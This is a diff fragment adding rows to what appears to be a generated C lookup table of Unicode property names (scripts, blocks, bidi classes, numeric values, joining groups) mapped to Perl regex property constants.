+  {     8,  7136,  7918,   6,   6, PL_INTHAANA }   /* block=thaana */,
+  {    18,  8572,  2284,   3,   2, PL_LB__HL }   /* wb=hl */,
+  {    19,  6706,  6796,  10,  10, PL_AGE__NA }   /* presentin=unassigned */,
+  {    38,  8816,  7710,   3,   4, PL_NV__6000 }   /* nv=6000 */,
+  {    11,  1354,  3581,  24,   2, PL_COMPEX }   /* fullcompositionexclusion=t */,
+  {     6,  6796,     0,  10,   0, PL_CN }   /* unassigned */,
+  {     2,  8196,  8738,   4,   3, PL_AGE__5_DOT_2 }   /* age=5.2 */,
+  {     1,   184,  4134,   2,   7, PL_BRAI }   /* isbraille */,
+  {    10,  2369,    18,  20,   1, PL_VO__R }   /* verticalorientation=r */,
+  {     0,  5192,  4300,   3,  14, PL_ARMI }   /* isimperialaramaic */,
+  {     0,  8941,     0,   2,   0, PL_ZS }   /* zs */,
+  {     2,   974,  7727,  27,   2, PL_CCC__32 }   /* canonicalcombiningclass=ccc32 */,
+  {     0,  4314,  3492,  13,  17, PL_JG__MANICHAEANTHAMEDH }   /* joininggroup=manichaeanthamedh */,
+  {    11,  3129,  8544,  17,   4, PL_TAVT }   /* scriptextensions=tavt */,
+  {    43,  1503,  5718,   3,  11, PL_ETHIOPICEXTA }   /* inethiopicexta */,
+  {     1,   184,  2877,   2,  18, PL_DEVANAGARIEXT }   /* isdevanagariextended */,
+  {     1,  4314,  4374,  13,  15, PL_JG__MANICHAEANSADHE }   /* joininggroup=manichaeansadhe */,
+  {     0,  8288,   974,   3,   9, PL_DT__CAN }   /* dt=canonical */,
+  {     3,  6613,  5251,   3,   7, PL_XPOSIXXDIGIT }   /* ishexdigit */,
+  {     0,  1448,  1638,   5,  20, PL_SUPPUNCTUATION }   /* insupplementalpunctuation */,
+  {    16,  2229,  5310,  16,  13, PL_XPOSIXDIGIT }   /* generalcategory=decimalnumber */,
+  {     0,  8777,  7951,   3,   5, PL_CWL }   /* cwl=true */,
+  {     0,   184,  8007,   3,   4, PL_CWKCF }   /* iscwkcf */,
+  {     2,  6890,  3738,   4,  16, PL_LATIN1 }   /* blk=latin1supplement */,
+  {     0,   974,  8691,  27,   2, PL_CCC__28 }   /* canonicalcombiningclass=ccc28 */,
+  {     0,  5645,  3407,  10,  17, PL_BC__ES }   /* bidiclass=europeanseparator */,
+  {    19,  4630,    58,   3,   4, PL_UIDEO }   /* isuideo */,
+  {    21,  6890,  6676,   4,  10, PL_INOLDPERSIAN }   /* blk=oldpersian */,
+  {     2,  8096,  2674,   4,   9, PL_SUND }   /* scx=sundanese */,
+  {     0,  6890,  2408,   4,   6, PL_INBRAHMI }   /* blk=brahmi */,
+  {    24,  8340,  5861,   3,  12, PL_JG__MALAYALAMNGA }   /* jg=malayalamnga */,
+  {     1,  4757,  7768,  14,   6, -PL_GREXT }   /* graphemeextend=false */,
+  {     1,   184,  8263,   2,   2, PL_MC }   /* ismc */,
+  {     0,    42,     0,  16,   0, PL_CJKCOMPAT }   /* cjkcompatibility */,
+  {     0,  3129,  5777,  17,   4, PL_HEBR }   /* scriptextensions=hebr */,
+  {     0,   184,  1724,   2,  22, PL_EARLYDYNASTICCUNEIFORM }   /* isearlydynasticcuneiform */,
+  {    11,  2877,     0,  10,   0, PL_DEVA }   /* devanagari */,
+  {     0,  8376,   373,   3,   2, PL_LB__OP }   /* lb=op */,
+  {     0,  2750,  7768,   4,   2, -PL_TERM }   /* term=f */,
+  {     4,  6613,  4561,   3,   3, PL_HEBR }   /* ishebr */,
+  {     1,  1503,  3391,   3,  15, PL_ETHIOPICEXT }   /* inethiopicextended */,
+  {     0,  7906,  7500,   4,   6, PL_SC__KALI }   /* sc=kayahli */,
+  {     0,  4254,     0,  15,   0, PL_DIACRITICALSEXT }   /* diacriticalsext */,
+  {     6,  1426,  3978,  22,  16, PL_INSC__SYLLABLEMODIFIER }   /* indicsyllabiccategory=syllablemodifier */,
+  {    20,  6221,   115,   4,  23, PL_DIACRITICALS }   /* incombiningdiacriticalmarks */,
+  {     2,  5544,  7936,  13,   4, PL_NV__1_SLASH_16 }   /* numericvalue=1/16 */,
+  {    49,  6713,  8747,   3,   3, PL_IN__6 }   /* in=6.0 */,
+  {     2,  1133,  7951,  26,   5, PL_PCM }   /* prependedconcatenationmark=true */,
+  {     2,  8011,   849,   3,  10, PL_CO }   /* gc=privateuse */,
+  {     5,   436,  3223,   5,   3, -PL_NCHAR }   /* nchar=no */,
+  {     4,  8272,  7951,   4,   5, PL_CWCF }   /* cwcf=true */,
+  {     0,  7136,  5336,   6,   8, PL_GREEKEXT }   /* block=greekext */,
+  {     4,  7288,  2409,   8,   5, PL_BRAH }   /* script=brahmi */,
+  {     1,  1981,     0,  18,   0, PL_CYRILLICSUP }   /* cyrillicsupplement */,
+  {     0,  2100,  4511,   4,  13, PL_SARB }   /* isoldsoutharabian */,
+  {     7,  8011,  1886,   3,   2, PL_NL }   /* gc=nl */,
+  {     2,  5645,  2289,  10,  20, PL_BC__LRE }   /* bidiclass=lefttorightembedding */,
+  {     0,  8384,     0,   4,   0, PL_LINB }   /* linb */,
+  {     0,  7689,  5246,   3,   4, PL_ASCII }   /* isascii */,
+  {    43,  8783,  3581,   3,   2, PL_CWU }   /* cwu=t */,
+  {     9,  8096,  7436,   4,   4, PL_ELBA }   /* scx=elba */,
+  {     0,  8340,  8837,   3,   3, PL_JG__TAH }   /* jg=tah */,
+  {     3,  2229,  4239,  16,  15, PL_PD }   /* generalcategory=dashpunctuation */,
+  {     4,  7136,  6944,   6,   9, PL_LATINEXTC }   /* block=latinextc */,
+  {    10,   184,  7506,   2,   7, PL_LINA }   /* islineara */,
+  {     0,  8096,  7992,   5,   4, PL_BUHD }   /* scx=buhid */,
+  {     3,   184,  8476,   2,   4, PL_COPT }   /* isqaac */,
+  {    45,  8376,  5583,   3,   9, PL_LB__QU }   /* lb=quotation */,
+  {     0,  5134,     0,   3,   0, PL_P }   /* isp */,
+  {     7,  6890,  6746,   4,  10, PL_SMALLFORMS }   /* blk=smallforms */,
+  {     5,    18,  7997,   2,   2, PL_RI }   /* ri=y */,
+  {     0,  7136,  2967,   6,   8, PL_INGEORGIAN }   /* block=georgian */,
+  {     2,  8016,  4649,   5,   2, PL_WB__GAZ }   /* gcb=gaz */,
+  {     1,  6713,  8735,   3,   3, PL_IN__5_DOT_1 }   /* in=5.1 */,
+  {     1,  8096,  2484,   4,  19, PL_EGYP }   /* scx=egyptianhieroglyphs */,
+  {     2,  7459,  8066,   3,   5, PL_SC__ORYA }   /* sc=oriya */,
+  {     0,   184,  2895,   2,   8, PL_ETHI }   /* isethiopic */,
+  {    37,  8096,  6439,   4,   4, PL_SYLO }   /* scx=sylo */,
+  {     1,   184,  4254,   2,  15, PL_DIACRITICALSEXT }   /* isdiacriticalsext */,
+  {    11,   184,  8046,   2,   5, PL_LIMB }   /* islimbu */,
+  {     0,   184,  3111,   2,  18, PL_RUMI }   /* isruminumeralsymbols */,
+  {    24,  5645,  4729,  10,  14, PL_BC__EN }   /* bidiclass=europeannumber */,
+  {     4,   974,  4538,  24,   2, PL_CCC__0 }   /* canonicalcombiningclass=nr */,
+  {     1,  8011,  6340,   3,  11, PL_LO }   /* gc=otherletter */,
+  {     2,  5645,   102,  10,   2, PL_BC__ET }   /* bidiclass=et */,
+  {     3,  6263,  3521,  10,   5, PL_LB__SP }   /* linebreak=space */,
+  {     1,  8340,  5439,   4,   4, PL_JG__GAMAL }   /* jg=gamal */,
+  {     0,  6890,   510,   4,  20, PL_CJK }   /* blk=cjkunifiedideographs */,
+  {     2,  8096,  8440,   4,   4, PL_OGAM }   /* scx=ogam */,
+  {     8,  7625,     0,   7,   0, PL_SUPPUAB }   /* suppuab */,
+  {     3,  5544,  8161,  13,   3, PL_NV__3_SLASH_2 }   /* numericvalue=3/2 */,
+  {     1,  3129,  2895,  17,   4, PL_ETHI }   /* scriptextensions=ethi */,
+  {     1,  8816,  8758,   3,   2, PL_NV__37 }   /* nv=37 */,
+  {     0,  7660,     0,   4,   0, PL_TIRH }   /* tirh */,
+  {    14,  6890,  7422,   4,   7, PL_CJKEXTF }   /* blk=cjkextf */,
+  {     0,  6554,  7992,   3,   4, PL_INBUHID }   /* inbuhid */,
+  {     5,  1417,  2521,   9,   2, PL_PF }   /* category=pf */,
+  {     0,  1417,    38,   9,   2, PL_XPOSIXDIGIT }   /* category=nd */,
+  {     1,  6890,  2967,   4,  11, PL_GEORGIANSUP }   /* blk=georgiansup */,
+  {     1,  4198,  2952,   5,  15, PL_INPUNCTUATION }   /* ingeneralpunctuation */,
+  {     0,  4104,     0,   4,   0, PL_BAMU }   /* bamu */,
+  {    20,  8096,  7681,   4,   7, PL_ZZZZ }   /* scx=unknown */,
+  {     2,  8816,  7732,   3,   5, PL_NV__50000 }   /* nv=50000 */,
+  {     0,  4314,  4935,  13,   4, PL_JG__BETH }   /* joininggroup=beth */,
+  {     0,  1133,     0,  26,   0, PL_PCM }   /* prependedconcatenationmark */,
+  {    44,  6472,  5753,  10,  12, PL_WB__GAZ }   /* wordbreak=glueafterzwj */,
+  {     5,  8204,  3581,   4,   2, PL_POSIXXDIGIT }   /* ahex=t */,
+  {   121,  8096,  8046,   4,   5, PL_LIMB }   /* scx=limbu */,
+  {     0,  7840,   893,   3,  27, PL_VSSUP }   /* isvariationselectorssupplement */,
+  {     6,  1372,     0,   2,   0, PL_LU }   /* lu */,
+  {     5,  7136,  4590,   6,   2, PL_INVS }   /* block=vs */,
+  {     0,  8264,     0,   4,   0, PL_CANS }   /* cans */,
+  {     0,  7816,  3223,   6,   2, -PL_GRBASE }   /* grbase=n */,
+  {     1,  7136,  6980,   6,   9, PL_INNABATAEAN }   /* block=nabataean */,
+  {     5,   184,   221,   2,   2, PL_L_AMP_ }   /* isl_ */,
+  {     0,   974,  7944,  24,   2, PL_CCC__12 }   /* canonicalcombiningclass=12 */,
+  {     0,   184,  8372,   2,   4, PL_LATN }   /* islatn */,
+  {     1,  5121,     0,  14,   0, PL_PHLP }   /* psalterpahlavi */,
+  {    56,  6890,  4224,   4,  15, PL_CURRENCYSYMBOLS }   /* blk=currencysymbols */,
+  {    33,  8096,  7632,   4,   7, PL_TGLG }   /* scx=tagalog */,
+  {    10,  6713,  8864,   3,   3, PL_IN__5 }   /* in=v50 */,
+  {     0,  7569,     0,   4,   0, PL_OSMA }   /* osma */,
+  {   120,  5544,  8905,  13,   2, PL_NV__39 }   /* numericvalue=39 */,
+  {     0,  6890,  1209,   4,  25, PL_SUPERANDSUB }   /* blk=superscriptsandsubscripts */,
+  {     3,  8240,  2655,   3,  19, PL_BC__RLO }   /* bc=righttoleftoverride */,
+  {     3,  7136,  3441,   6,  17, PL_LETTERLIKESYMBOLS }   /* block=letterlikesymbols */,
+  {     1,  6263,  4898,  11,  13, PL_LB__BK }   /* linebreak=mandatorybreak */,
+  {    27,  1812,     0,  15,   0, PL_TRANSPORTANDMAP }   /* transportandmap */,
+  {   128,   119,  7193,   3,   7, PL_INGUJARATI }   /* ingujarati */,
+  {     7,  7288,  4010,   7,   6, PL_TANG }   /* script=tangut */,
+  {     0,   184,  7366,   2,   4, PL_BENG }   /* isbeng */,
+  {     1,  6890,  4419,   4,  15, PL_MISCPICTOGRAPHS }   /* blk=miscpictographs */,
+  {     0,  7288,  8046,   7,   4, PL_SC__LIMB }   /* script=limb */,
+  {     2,  3690,     0,  16,   0, PL_PF }   /* finalpunctuation */,
+  {    35,  4855,     0,  14,   0, PL_LATINEXTC }   /* latinextendedc */,
+  {     2,  1184,  7951,  25,   5, PL_DI }   /* defaultignorablecodepoint=true */,
+  {     0,  7459,  7918,   3,   6, PL_SC__THAA }   /* sc=thaana */,
+  {     0,  6439,     0,   4,   0, PL_SYLO }   /* sylo */,
+  {     0,  8096,  6626,   4,   4, PL_KHAR }   /* scx=khar */,
+  {     0,  2531,     0,   4,   0, PL_MULT }   /* mult */,
+  {     0,  8016,  5754,   5,  11, PL_WB__GAZ }   /* gcb=glueafterzwj */,
+  {     3,  8816,  7720,   3,   4, PL_NV__4000 }   /* nv=4000 */,
+  {     9,  5134,   473,   3,   2, PL_PUA }   /* ispua */,
+  {    29,  7459,  7822,   3,   6, PL_HATR }   /* sc=hatran */,
+  {     8,  7288,  5825,   7,   4, PL_SC__MAHJ }   /* script=mahj */,
+  {     0,  8504,  1929,   3,   5, PL_SB__UP }   /* sb=upper */,
+  {     1,  6890,  1258,   4,  24, PL_ARABICPFB }   /* blk=arabicpresentationformsb */,
+  {     0,  6076,  7997,  11,   2, PL_BIDIC }   /* bidicontrol=y */,
+  {     1,  5192,   448,   3,  31, PL_IDEOGRAPHICSYMBOLS }   /* isideographicsymbolsandpunctuation */,
+  {    11,  2985,  3223,  18,   3, -PL_IDST }   /* idstrinaryoperator=no */,
+  {     0,  2967,     0,  11,   0, PL_GEORGIANSUP }   /* georgiansup */,
+  {     8,  8376,  5570,   3,  13, PL_LB__PR }   /* lb=prefixnumeric */,
+  {     2,  5596,     0,  13,   0, PL_VERTICALFORMS }   /* verticalforms */,
+  {     3,  1855,  3223,  21,   3, -PL_CWCM }   /* changeswhencasemapped=no */,
+  {     1,  8011,  8937,   3,   2, PL_ZL }   /* gc=zl */,
+  {     1,   808,     0,  11,   0, PL_PHONETICEXT }   /* phoneticext */,
+  {     0,   184,  3021,   2,   9, PL_LATINEXTA }   /* islatinexta */,
+  {     0,  7288,  8480,   7,   4, PL_SC__QAAI }   /* script=qaai */,
+  {     0,  7459,    57,   3,   2, PL_SC__YI }   /* sc=yi */,
+  {     1,  2249,     0,  13,   0, PL_GLAGOLITICSUP }   /* glagoliticsup */,
+  {     6,  7224,    62,   8,   5, PL_XPOSIXGRAPH }   /* isxposixgraph */,
+  {     2,  4542,  7654,   3,   6, PL_TIBT }   /* istibetan */,
+  {     2,  8340,  5453,   3,  13, PL_JG__MANICHAEANMEM }   /* jg=manichaeanmem */,
+  {     0,    11,  7768,   3,   2, -PL_DIA }   /* dia=f */,
+  {     4,  1963,  7951,   7,   5, PL_RADICAL }   /* radical=true */,
+  {     1,  1417,  1797,   9,  14, PL_LM }   /* category=modifierletter */,
+  {     2,  8340,  8774,   3,   3, PL_JG__BEH }   /* jg=beh */,
+  {     0,  3339,     0,  17,   0, PL_CYRILLICEXTB }   /* cyrillicextendedb */,
+  {    49,  6613,    34,   3,   2, PL_XPOSIXXDIGIT }   /* ishex */,
+  {     0,  8276,  3223,   4,   3, -PL_CWCM }   /* cwcm=no */,
+  {     0,  6890,  1543,   4,  23, PL_GEOMETRICSHAPESEXT }   /* blk=geometricshapesextended */,
+  {     0,  3129,  4010,  17,   6, PL_TANG }   /* scriptextensions=tangut */,
+  {     4,  6890,  1589,   4,  23, PL_LATINEXTADDITIONAL }   /* blk=latinextendedadditional */,
+  {     1,   184,  4134,   2,  15, PL_BRAI }   /* isbraillepatterns */,
+  {     2,   750,     0,  22,   0, PL_ENCLOSEDIDEOGRAPHICSUP }   /* enclosedideographicsup */,
+  {   176,  8240,   435,   3,   2, PL_BC__ON }   /* bc=on */,
+  {     1,  7459,  8604,   3,   4, PL_SC__ZYYY }   /* sc=zyyy */,
+  {     2,   184,  7882,   2,   4, PL_LYDI }   /* islydi */,
+  {     0,  7136,   779,   6,  29, PL_MISCARROWS }   /* block=miscellaneoussymbolsandarrows */,
+  {     0,  8016,    70,   4,   2, PL_GCB__PP }   /* gcb=pp */,
+  {     7,  6483,  3581,   4,   2, PL_XIDC }   /* xidc=t */,
+  {     0,  6210,  1982,   3,  20, PL_CYRILLICSUP }   /* incyrillicsupplementary */,
+  {     1,  7025,     0,   9,   0, PL_ORKH }   /* oldturkic */,
+  {     0,  5544,  8172,  13,   4, PL_NV__3_SLASH_16 }   /* numericvalue=3/16 */,
+  {    17,  6263,  1886,  10,   2, PL_LB__NL }   /* linebreak=nl */,
+  {     3,  7459,  2841,   3,   4, PL_SC__COPT }   /* sc=copt */,
+  {     0,  5544,  8758,  13,   2, PL_NV__37 }   /* numericvalue=37 */,
+  {     0,  8816,  7936,   3,   5, PL_NV__1_SLASH_160 }   /* nv=1/160 */,
+  {    33,  1448,   839,   5,  25, PL_SUPPUAA }   /* insupplementaryprivateuseareaa */,
+  {     0,  8016,  1083,   4,   2, PL_LB__LF }   /* gcb=lf */,
+  {     4,  7459,  8296,   3,   4, PL_GONM }   /* sc=gonm */,
+  {     2,  8340,  3458,   3,  17, PL_JG__MANICHAEANDHAMEDH }   /* jg=manichaeandhamedh */,
+  {     0,  2100,  7018,   4,   7, PL_PERM }   /* isoldpermic */,
+  {     4,  3129,  8244,  17,   4, PL_BHKS }   /* scriptextensions=bhks */,
+  {     1,  1897,  7997,  21,   2, PL_CWT }   /* changeswhentitlecased=y */,
+  {     0,  8272,  3223,   4,   2, -PL_CWCF }   /* cwcf=n */,
+  {     0,  1724,     0,  22,   0, PL_EARLYDYNASTICCUNEIFORM }   /* earlydynasticcuneiform */,
+  {    71,  6890,  1612,   4,  23, PL_SHORTHANDFORMATCONTROLS }   /* blk=shorthandformatcontrols */,
+  {     6,  7459,  8056,   3,   5, PL_NSHU }   /* sc=nushu */,
+  {     0,  8816,  8691,   3,   2, PL_NV__28 }   /* nv=28 */,
+  {    11,  8376,  1479,   3,   2, PL_LB__AI }   /* lb=ai */,
+  {     0,  6890,  7296,   4,   8, PL_SPECIALS }   /* blk=specials */,
+  {     0,   184,  2788,   3,   7, PL_CHER }   /* ischerokee */,
+  {     0,  6263,  5789,  10,  12, PL_LB__IS }   /* linebreak=infixnumeric */,
+  {   113,  7457,  2625,   5,  10, PL_INSC__TONELETTER }   /* insc=toneletter */,
+  {     1,   184,  4813,   2,  14, PL_KANASUP }   /* iskanasupplement */,
+  {     4,  5245,  7951,  13,   5, PL_POSIXXDIGIT }   /* asciihexdigit=true */,
+  {     0,  8340,  6523,   3,   3, PL_JG__FEH }   /* jg=feh */,
+  {     2,  4314,  4389,  13,  15, PL_JG__MANICHAEANZAYIN }   /* joininggroup=manichaeanzayin */,
+  {     1,  1402,  3171,  24,  12, PL_INPC__LEFTANDRIGHT }   /* indicpositionalcategory=leftandright */,
+  {     2,  1417,  5253,   9,   5, PL_XPOSIXDIGIT }   /* category=digit */,
+  {     5,  7459,  4134,   3,   4, PL_BRAI }   /* sc=brai */,
+  {     1,  1448,  1212,   5,  22, PL_SUPERANDSUB }   /* insuperscriptsandsubscripts */,
+  {     1,   184,  1543,   2,  23, PL_GEOMETRICSHAPESEXT }   /* isgeometricshapesextended */,
+  {     8,  7136,  7367,   7,   6, PL_INBENGALI }   /* block=bengali */,
+  {    62,  1206,  3148,   3,  10, PL_TAIXUANJING }   /* intaixuanjing */,
+  {     0,  1081,     0,  26,   0, PL_HALFANDFULLFORMS }   /* halfwidthandfullwidthforms */,
+  {     0,  6890,  3237,   4,  10, PL_ALCHEMICAL }   /* blk=alchemical */,
+  {     2,  6713,  8849,   3,   3, PL_IN__3 }   /* in=v30 */,
+  {     5,  2859,    45,  18,   3, PL_DT__COM }   /* decompositiontype=com */,
+  {     0,  7380,  7944,   7,   2, PL_CCC__12 }   /* ccc=ccc12 */,
+  {   129,  5645,  7951,   5,   5, PL_BIDIC }   /* bidic=true */,
+  {     0,  7288,  7312,   7,   8, PL_SC__TAGB }   /* script=tagbanwa */,
+  {     0,  8786,  7888,   3,   6, PL_EA__NA }   /* ea=narrow */,
+  {     0,  7478,  1194,   3,   3, PL_SORA }   /* issora */,
+  {    35,   974,  8916,  27,   2, PL_CCC__84 }   /* canonicalcombiningclass=ccc84 */,
+  {     1,  7344,  3223,   4,   3, -PL_XIDS }   /* xids=no */,
+  {    17,  3129,  8280,  17,   4, PL_CYRL }   /* scriptextensions=cyrl */,
+  {     0,  2877,     0,  18,   0, PL_DEVANAGARIEXT }   /* devanagariextended */,
+  {     0,  3424,  3223,   4,   2, -PL_IDSB }   /* idsb=n */,
+  {     0,    11,  3581,   3,   2, PL_DIA }   /* dia=t */,
+  {    73,  8508,     8,   4,   3, PL_LANA }   /* sc=lana */,
+  {     2,  8096,  3288,   4,  17, PL_AGHB }   /* scx=caucasianalbanian */,
+  {    68,  7471,  6472,   7,   4, PL_POSIXWORD }   /* isposixword */,
+  {     0,  3129,  7858,  17,   4, PL_KHOJ }   /* scriptextensions=khoj */,
+  {    16,  7136,  7660,   6,   7, PL_INTIRHUTA }   /* block=tirhuta */,
+  {     2,    21,   948,   3,  16, PL_ANCIENTGREEKMUSIC }   /* inancientgreekmusic */,
+  {    33,  7288,  5957,   7,   4, PL_MEND }   /* script=mend */,
+  {     1,  8376,  8925,   3,   2, PL_LB__H3 }   /* lb=h3 */,
+  {     4,  8572,  6971,   3,   9, PL_WB__MB }   /* wb=midnumlet */,
+  {    18,  3084,     0,   9,   0, PL_Z }   /* separator */,
+  {     2,  8096,  8264,   4,   4, PL_CANS }   /* scx=cans */,
+  {     0,   184,   361,   2,  21, PL_MATHOPERATORS }   /* ismathematicaloperators */,
+  {     0,  7471,  7986,   7,   5, PL_POSIXBLANK }   /* isposixblank */,
+  {    10,  8116,     0,   5,   0, PL_TAML }   /* tamil */,
+  {     0,  4402,  4420,   3,  14, PL_MISCPICTOGRAPHS }   /* inmiscpictographs */,
+  {     1,  5134,  8465,   3,   3, PL_PHNX }   /* isphnx */,
+  {     0,  8240,  2289,   3,  20, PL_BC__LRE }   /* bc=lefttorightembedding */,
+  {     0,  6210,    43,   3,   8, PL_CJKCOMPAT }   /* incjkcompat */,
+  {     0,  8340,  5466,   3,  13, PL_JG__MANICHAEANNUN }   /* jg=manichaeannun */,
+  {     0,  6208,     0,   5,   0, PL_JOINC }   /* joinc */,
+  {     1,   974,    16,  24,   1, PL_CCC__B }   /* canonicalcombiningclass=b */,
+  {     0,  8786,     8,   3,   1, PL_EA__A }   /* ea=a */,
+  {     0,   849,     0,  10,   0, PL_CO }   /* privateuse */,
+  {     0,   184,  1702,   2,  12, PL_DIACRITICALS }   /* isdiacriticals */,
+  {    20,  7136,  1001,   6,  27, PL_ENCLOSEDCJK }   /* block=enclosedcjklettersandmonths */,
+  {     2,  7457,  1330,   5,  24, PL_INSC__CONSONANTSUCCEEDINGREPHA }   /* insc=consonantsucceedingrepha */,
+  {     0,  5134,  7036,   4,   7, PL_PALM }   /* ispalmyrene */,
+  {   128,  7459,  8412,   3,   4, PL_MTEI }   /* sc=mtei */,
+  {     1,  8196,  8152,   4,   4, PL_AGE__10 }   /* age=10.0 */,
+  {    57,  7457,  3305,   5,  17, PL_INSC__CONSONANTPREFIXED }   /* insc=consonantprefixed */,
+  {     1,  5657,  7768,  12,   6, -PL_BIDIM }   /* bidimirrored=false */,
+  {    17,  7696,     0,   6,   0, PL_XPOSIXSPACE }   /* wspace */,
+  {     2,  6263,    18,  10,   2, PL_RI }   /* linebreak=ri */,
+  {     0,  8816,  8168,   3,   2, PL_NV__17 }   /* nv=17 */,
+  {     1,  8240,    25,   3,   1, PL_BC__S }   /* bc=s */,
+  {     8,  7459,  8284,   3,   4, PL_DSRT }   /* sc=dsrt */,
+  {     4,  7136,   849,   6,  10, PL_PUA }   /* block=privateuse */,
+  {    23,  4314,  4785,  13,  14, PL_JG__HAMZAONHEHGOAL }   /* joininggroup=hamzaonhehgoal */,
+  {     5,  5544,  7702,  13,   2, PL_NV__20 }   /* numericvalue=20 */,
+  {     1,  7459,  8216,   3,   4, PL_ARMI }   /* sc=armi */,
+  {    24,   184,  3610,   2,   4, PL_BOPO }   /* isbopo */,
+  {     0,  8016,  3526,   4,  17, PL_RI }   /* gcb=regionalindicator */,
+  {     8,  8026,  2355,   5,   6, PL_INPC__BOTTOM }   /* inpc=bottom */,
+  {    10,  8196,  7702,   4,   1, PL_AGE__2 }   /* age=2 */,
+  {     2,  6890,  2877,   4,  18, PL_DEVANAGARIEXT }   /* blk=devanagariextended */,
+  {     0,   184,  4104,   2,   4, PL_BAMU }   /* isbamu */,
+  {     1,  3129,  7971,  17,   5, PL_BATK }   /* scriptextensions=batak */,
+  {   130,  2229,    36,  17,   1, PL_LT }   /* generalcategory=lt */,
+  {     1,  3129,  7956,  17,   5, PL_ADLM }   /* scriptextensions=adlam */,
+  {    11,    11,  3223,   2,   2, -PL_DI }   /* di=n */,
+  {     0,  8312,     0,   4,   0, PL_HAN }   /* hani */,
+  {     5,  7136,  6736,   6,  10, PL_INSAURASHTRA }   /* block=saurashtra */,
+  {     0,  7387,     0,   7,   0, PL_CJKEXTA }   /* cjkexta */,
+  {     1,  2229,  1452,  16,   2, PL_PS }   /* generalcategory=ps */,
+  {     0,  1834,     0,  21,   0, PL_CWCF }   /* changeswhencasefolded */,
+  {     2,  6890,   947,   4,  27, PL_ANCIENTGREEKMUSIC }   /* blk=ancientgreekmusicalnotation */,
+  {     3,   974,    24,  24,   1, PL_CCC__L }   /* canonicalcombiningclass=l */,
+  {     8,  7344,  3223,   8,   3, -PL_XIDS }   /* xidstart=no */,
+  {     0,  4542,  2117,   3,   3, PL_THAI }   /* isthai */,
+  {     4,   217,  7052,   6,   9, PL__PERL_QUOTEMETA }   /* _perl_quotemeta */,
+  {     1,   698,     0,   2,   0, PL_MN }   /* mn */,
+  {     0,  7689,    80,   4,  33, PL_ARABICMATH }   /* isarabicmathematicalalphabeticsymbols */,
+  {     1,  7471,  5315,   7,   5, PL_POSIXALNUM }   /* isposixalnum */,
+  {     1,  2617,     0,  19,   0, PL_MODIFIERTONELETTERS }   /* modifiertoneletters */,
+  {    40,  7136,  3390,   6,  11, PL_ETHIOPICEXT }   /* block=ethiopicext */,
+  {     0,    32,     0,   2,   0, PL_CS }   /* cs */,
+  {    68,  7380,  8632,   4,   2, PL_CCC__91 }   /* ccc=91 */,
+  {     1,  3129,  7583,  17,   7, PL_PHAG }   /* scriptextensions=phagspa */,
+  {    20,  7478,  3561,   3,  16, PL_SUTTONSIGNWRITING }   /* issuttonsignwriting */,
+  {     0,  8240,  2931,   3,  18, PL_BC__FSI }   /* bc=firststrongisolate */,
+  {     1,  2229,  1106,  16,   2, PL_SK }   /* generalcategory=sk */,
+  {    23,  8096,  5933,   4,  12, PL_GONM }   /* scx=masaramgondi */,
+  {    64,  6484,  3223,  10,   3, -PL_IDC }   /* idcontinue=no */,
+  {    82,  8016,  5082,   4,  11, PL_GCB__SM }   /* gcb=spacingmark */,
+  {    80,  7288,  8324,   7,   4, PL_HMNG }   /* script=hmng */,
+  {    81,  4314,  8828,  13,   3, PL_JG__REH }   /* joininggroup=reh */,
+  {   100,  7288,  8312,   7,   4, PL_SC__HAN }   /* script=hani */,
+  {     0,  6890,  6935,   4,   9, PL_LATINEXTB }   /* blk=latinextb */,
+  {     1,  8096,  8492,   4,   4, PL_RUNR }   /* scx=runr */,
+  {     0,  7136,  1960,   6,  14, PL_CJKRADICALSSUP }   /* block=cjkradicalssup */,
+  {    13,  7894,  3581,   6,   2, PL_PATSYN }   /* patsyn=t */,
+  {     0,  8011,   132,   3,   2, PL_LM }   /* gc=lm */,
+  {     1,  1929,  7997,   9,   2, PL_XPOSIXUPPER }   /* uppercase=y */,
+  {     7,  7459,  6439,   3,   4, PL_SC__SYLO }   /* sc=sylo */,
+  {     1,  1426,  7112,  22,   8, PL_INSC__AVAGRAHA }   /* indicsyllabiccategory=avagraha */,
+  {     2,  2560,     0,  19,   0, PL_JAMOEXTB }   /* hanguljamoextendedb */,
+  {     6,  6613,  2542,   3,  18, PL_JAMOEXTA }   /* ishanguljamoextendeda */,
+  {     1,  8232,     0,   4,   0, PL_AVST }   /* avst */,
+  {     0,  8396,     0,   4,   0, PL_MERC }   /* merc */,
+  {     7,  8046,     0,   5,   0, PL_LIMB }   /* limbu */,
+  {     0,  3610,     0,   4,   0, PL_BOPO }   /* bopo */,
+  {    11,  5134,  1541,   3,   3, PL_PHAG }   /* isphag */,
+  {    15,   415,  7997,  11,   2, PL_IDEO }   /* ideographic=y */,
+  {     1,  8340,  4963,   3,   4, PL_JG__HETH }   /* jg=heth */,
+  {     0,  8340,  5502,   3,   3, PL_JG__TAW }   /* jg=taw */,
+  {     0,  7459,  4404,   3,  15, PL_MERC }   /* sc=meroiticcursive */,
+  {    22,  7136,  6120,   6,   6, PL_DOMINO }   /* block=domino */,
+  {     0,  7136,  2249,   6,  13, PL_GLAGOLITICSUP }   /* block=glagoliticsup */,
+  {     0,    21,  3738,   2,  16, PL_LATIN1 }   /* inlatin1supplement */,
+  {     2,  7471,     0,   4,   0, PL_PO }   /* ispo */,
+  {     3,  4402,  6308,   3,  10, PL_MYANMAREXTA }   /* inmyanmarexta */,
+  {     0,  1402,  2295,  24,   5, PL_INPC__RIGHT }   /* indicpositionalcategory=right */,
+  {     0,  7906,   498,   5,   3, PL_KHMR }   /* sc=khmer */,
+  {     1,  7457,  4179,   5,  15, PL_INSC__CONSONANTMEDIAL }   /* insc=consonantmedial */,
+  {    10,   184,  4869,   2,  14, PL_LATINEXTD }   /* islatinextendedd */,
+  {     7,  7994,   966,   4,   2, -PL_IDC }   /* idc=no */,
+  {     2,  7459,  4300,   4,  14, PL_ARMI }   /* sc=imperialaramaic */,
+  {     3,  3946,  7997,  16,   2, PL_STERM }   /* sentenceterminal=y */,
+  {     9,  7459,  8316,   3,   4, PL_SC__HANO }   /* sc=hano */,
+  {     4,  8026,  2349,   5,   3, PL_INPC__TOP }   /* inpc=top */,
+  {    94,  8376,  6880,   3,   2, PL_LB__BB }   /* lb=bb */,
+  {     5,  7471,  5252,   7,   6, PL_POSIXXDIGIT }   /* isposixxdigit */,
+  {     0,  3129,  6736,  17,   4, PL_SAUR }   /* scriptextensions=saur */,
+  {     2,  6890,  7611,   4,   7, PL_INSOYOMBO }   /* blk=soyombo */,
